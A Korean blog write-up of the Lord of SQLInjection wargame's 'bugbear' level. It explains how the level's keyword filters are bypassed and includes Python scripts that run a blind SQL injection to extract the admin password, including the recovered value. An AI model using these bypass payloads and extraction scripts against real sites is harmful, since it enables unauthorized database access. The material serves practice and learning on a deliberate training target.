본문 바로가기

#WarGame/Lord of SQLInjection

Lord of SQLInjection 13번 bugbear

반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

 

Lord of SQLInjection 13번 bugbear 

 

 

 

  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 

 

이번 필터링은 저번 문제에 이어서

'  substr  ascii  =  or  and  공백  like  0x

 

 

'는 hex값을 사용했지만 0x가 안되므로 char를 사용하여 10진수 값을 넣어야 한다.

ascii는 ord를 대신 사용할 수 있지만 or에 필터링이 되기 때문에 hex를 사용한다.

=은 like를 사용해지만 이것도 필터링이 되어 있어 instr로 우회한다.  a like b ===> instr(a,b)

공백은 %0a를 사용하여 우회가 가능하다.

or은 ||   and는 url에서 %26%26이다.

 

 

1)pw 길이 구하기

import requests
import re

url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies={"PHPSESSID":"세션"} 

for i in range(0,10):
    pay=f"?no=1%0a||instr(length(pw),{i})" #공백 %0a, like 대신 instr
    res=requests.get(url+pay,cookies=cookies)
    
    find = re.findall("Hello admin", res.text) # Hello admin 문자열 매칭
    
    if find:
        print("length:",i)
        length=i
        break

length: 8

 

 

?no=1%0a||instr((length(pw)),8)

공백 대신 %0a

instr((length(pw)),8) pw길이가 8인지 비교

 

 

 

2) pw 구하기

import requests
import re

url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies={"PHPSESSID":"세션"} 

pw=""
for i in range(1,9):
    for j in range(32,127):
        pay=f"?no=1%0a||instr(id,char(97,100,109,105,110))%26%26instr(hex((mid(pw,{i},1))),hex({j}))""
        res=requests.get(url+pay,cookies=cookies)
        find = re.findall("Hello admin", res.text)
    
        if find:
            pw+=chr(j)
            break
print("pw=",pw)

pw= 52dc3991

 

코드를 실행하게 되면 hex({j})에서 j에 들어가는 값은 53  50  100  99  51  57  57  49 이다.

이 값을 hex로 바꾸면 0x35 0x32 0x64 0x63 0x33 0x39 0x39 0x31 되고, 다시 chr로 바꾸면 52dc3991 값이 나온다.

 

 

 

 

 

 

 

 

 

 

 

반응형